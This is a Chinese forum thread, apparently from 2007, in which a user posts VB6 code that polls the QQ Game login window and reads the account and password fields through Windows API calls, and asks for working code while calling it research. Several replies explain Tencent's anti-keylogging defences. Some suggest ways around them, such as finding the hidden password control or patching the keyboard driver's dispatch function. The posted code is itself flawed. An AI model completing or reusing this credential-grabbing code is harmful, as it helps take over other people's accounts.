当前位置:编程学习 > VB >>

关于获取QQ游戏密码的问题。只是研究。不是破坏!

 Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
Private Declare Function SendMessageBynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Private Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
 Private Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long

Private Sub Timer1_Timer()
Dim str As String
  Dim nmb As String
  Dim qqhwnd As Long
  Dim numberhwnd As Long
  Dim pwdhwnd As Long
  Dim temp As Long
  str = String(80, 0)
  nmb = String(8, 0)
  qqhwnd = FindWindow(vbNullString, "QQ游戏")
  If qqhwnd <> 0 Then
  numberhwnd = GetDlgItem(qqhwnd, &H3E9)  '得到用户号码框的名柄.这个根据SPY ID值 
  pwdhwnd = GetDlgItem(qqhwnd, &H74)       '得到密码框的句柄
.  SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
  SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
  notxt.Text = nmb
  pwdtxt.Text = str
  DoEvents
  End If
End Sub

就是获取不了密码!!QQ游戏没有进行加密,只是研究而已!

哪位朋友给下代码,悬赏150分 --------------------编程问答-------------------- 密码框内 不一定是保存的是密码只是一定长度的* 或者随机字符
真正的密码可能早被加密后保存在变量中 --------------------编程问答-------------------- QQ2007已经改动很大了,设置了一个调试钩子WH_DEBUG,这段代码还是动态的。
还设置了一个WH_KEYBOARD_LL钩子,这样你再用钩子也只能在他后面得到密码了,你得到的密码已经经过他的加密转换了。

QQ简直把能想到的技术 都用上了。。。
--------------------编程问答--------------------    操作系统将消息发给消息队列,你作钩子在这中间进行拦截,但QQ的代码在你拦截之前已经进行加密了
而是在调用回调函数之前已经加密了.  建议看一下 windows原理  --------------------编程问答-------------------- 很早之前 2005的时候 你这种方式就不行了. 
现在腾讯使用驱动方式 .  也就是说你已经没办法用这些方式来取得密码了.  
你可以尝试改写他的那个键盘驱动  . 
似乎是这样子  . 

不过自动发消息倒是可以实现. 
  --------------------编程问答-------------------- qq游戏应该也加密了 你可以尝试用常见的一些密码查看软件看一下

如果密码和你所输入的密码不一样

就是已经加密过了 如果是一样的

那么你这个代码主要的问题就是在于qq的密码框有覆盖隐藏起来了

你需要重新遍历他的窗体找到哪个密码的真实句丙

--------------------编程问答-------------------- 密码显示出来没关系,但是帐号无法显示出来啊!!!!!!!帐的号句丙是对的,这个是QQ游戏登陆,不是QQ登陆!大家看下这个代码错误在哪,谁能找出,我把分给出,谢谢! --------------------编程问答-------------------- 跟着研究一下 --------------------编程问答-------------------- 貌似做坏事。不关注 --------------------编程问答-------------------- 你的代码没问题吧?只是腾讯的加密手段让你不能用平常的办法获取密码…………
我知道怎样获取,源代码在这里就不发了(以前在百度VB吧发过部分代码的,地址在下面,貌似被人无版权地转载了-_-),在此说下思路吧,首先QQ登陆框(不是游戏那个!)腾讯貌似已经用两种手段进行了加密
首先是加密了你输入的密码,比如你输入ABC,你用一般的键盘监视软件获得的只能是加密后的AAA,这个2007Beta2以下版本都具有这个功能,但是非常容易破解,使用我发过的代码(http://post.baidu.com/f?ct=335675392&tn=baiduPostBrowser&sc=1626758697&z=175814355&pn=0&rn=50&lm=0&word=vb#1626758697)就可以了…………
然后就是发送虚假的键盘键入信息,每0.5秒左右自动发送一次(2007Beta2以后版本带有),用钩子做成的一般键盘监视软件很难获取密码,所以应该用其他方法…………(至于用什么方法就不说了,自己研究吧…………) --------------------编程问答-------------------- 有点难度哦 --------------------编程问答-------------------- 这问题不错 --------------------编程问答-------------------- lz的rp值是负数 --------------------编程问答-------------------- QQ游戏和QQ号是一样的密码,现在腾讯为了打造一站式的服务平台,已经对所有的涉及密码的地方都更新了加密方法,一般的钩子技术提取不了它的密码! --------------------编程问答-------------------- 能获得就怪了,那腾讯一帮人吃白饭的啊 --------------------编程问答-------------------- 除非这个QQ是马化腾写的。。。。

悲哀的是他的手下不是sb。。。。。

更悲哀的是QQ是他手下写的。。。 --------------------编程问答-------------------- 修改键盘驱动分发函数!!!!!!
貌似有人试过是有效的
不过vb里不太好做 --------------------编程问答-------------------- 大家时间真多.........07年的帖子也翻出来回..........

真羡慕有时间的人 --------------------编程问答--------------------
看到楼上才知是07年的贴....悲哀.. --------------------编程问答-------------------- 都山村老帖了 --------------------编程问答-------------------- 过时了
补充:VB ,  API
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,